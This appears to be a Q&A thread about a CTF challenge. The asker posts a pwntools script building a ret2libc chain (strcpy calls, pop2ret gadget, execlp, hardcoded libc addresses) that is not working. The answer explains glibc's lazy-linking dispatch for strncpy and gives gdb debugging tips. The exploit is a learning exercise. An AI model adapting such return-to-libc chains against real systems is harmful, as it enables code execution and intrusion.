ret2libc strcpy not working
<p>I am trying to solve a CTF challenge in wich I need to use ret2libc. The problem is that when I try to use strcpy to put some text inside a buffer for latter use, it does not seems to work.
The challenge box still vulnerable to "ulimit -s unlimited" so we can fix libc addresses. Here is my current python code:</p>

<pre><code>from pwn import *

def r2lc_print(write_buff,read_buff):
  strcpy_addr=0x55607a40
  pop2ret=0x55643876
  return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)

buffer_size=172
execlp_addr=0x55643970

c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4
</code></pre>

<p>I got strcpy address by issuing "p strcpy" inside gdb.</p>

<p>The problem is that strcpy does not seem to be complete, as neither of the instructions or calls do any data movement:</p>

<pre><code>   0x55608320 &lt;strncpy&gt;:        push   ebx
   0x55608321 &lt;strncpy+1&gt;:      call   0x556b5c63
   0x55608326 &lt;strncpy+6&gt;:      add    ebx,0x127cce
   0x5560832c &lt;strncpy+12&gt;:     cmp    DWORD PTR [ebx+0x368c],0x0
   0x55608333 &lt;strncpy+19&gt;:     jne    0x5560833a &lt;strncpy+26&gt;
   0x55608335 &lt;strncpy+21&gt;:     call   0x555a48b0
   0x5560833a &lt;strncpy+26&gt;:     lea    eax,[ebx-0x120e54]
   0x55608340 &lt;strncpy+32&gt;:     test   DWORD PTR [ebx+0x36a0],0x4000000
   0x5560834a &lt;strncpy+42&gt;:     je     0x55608370 &lt;strncpy+80&gt;
   0x5560834c &lt;strncpy+44&gt;:     lea    eax,[ebx-0x117f14]
   0x55608352 &lt;strncpy+50&gt;:     test   DWORD PTR [ebx+0x36bc],0x10
   0x5560835c &lt;strncpy+60&gt;:     jne    0x55608370 &lt;strncpy+80&gt;
   0x5560835e &lt;strncpy+62&gt;:     test   DWORD PTR [ebx+0x369c],0x200
   0x55608368 &lt;strncpy+72&gt;:     je     0x55608370 &lt;strncpy+80&gt;
   0x5560836a &lt;strncpy+74&gt;:     lea    eax,[ebx-0x11f554]
   0x55608370 &lt;strncpy+80&gt;:     pop    ebx
   0x55608371 &lt;strncpy+81&gt;:     ret
</code></pre>

<p>I <em>think</em> the code you're seeing at glibc's <code>strncpy</code> symbol does the runtime CPU dispatching during lazy dynamic linking.  It looks like the asm in <a href="http://repo.or.cz/glibc.git/blob/1850ce5a2ea3b908b26165e7e951cd4334129f07:/sysdeps/i386/i686/multiarch/strcpy.S" rel="nofollow"><code>sysdeps/i386/i686/multiarch/strcpy.S</code></a>.  This file is built multiple times (via a #include into other files), with the STRCPY macro defined to strcpy, strncpy, and maybe others.</p>

<p>I think it just returns a function pointer for the version of str[n]cpy that should be used, and the dynamic linker code that called it stores that pointer into the PLT and then calls it.</p>

<hr>

<p>If you compile a tiny C program that calls strncpy twice, you can single-step into the second call and lazy dynamic linking will already be done.</p>

<pre><code>#include &lt;string.h&gt;
int main(int argc, char**argv) {
        strncpy(argv[0], argv[1], 5);
        strncpy(argv[1], argv[2], 5);
}
</code></pre>

<p>compile with <code>gcc -m32 -Og foo.c -g</code>.</p>

<p>In Ubuntu 15.10's libc-2.21.0.so, the PLT jump takes you a function outside of any symbol, according to gdb.  (I put <code>set disassembly-flavor intel</code> and <code>layout reg</code> in my <code>~/.gdbinit</code> to get TUI register and asm "windows".)</p>

<pre><code>  &gt;|0xf7e68fa0      push   ebx                           |
   |0xf7e68fa1      mov    edx,DWORD PTR [esp+0x8]       |
   |0xf7e68fa5      mov    ecx,DWORD PTR [esp+0xc]       |
   |0xf7e68fa9      mov    ebx,DWORD PTR [esp+0x10]      |
   |0xf7e68fad      cmp    ebx,0x8                       |
   |0xf7e68fb0      jbe    0xf7e6ba40                    |
   |0xf7e68fb6      cmp    BYTE PTR [ecx],0x0            |
   |0xf7e68fb9      je     0xf7e6aef0                    |
   |0xf7e68fbf      cmp    BYTE PTR [ecx+0x1],0x0        |
   |0xf7e68fc3      je     0xf7e6af10                    |
</code></pre>

<p>... eventually a movaps / pcmpeqb / pmovmskb loop.  This function is the real strncpy implementation, and doesn't dispatch to anything else.</p>

python assembly exploit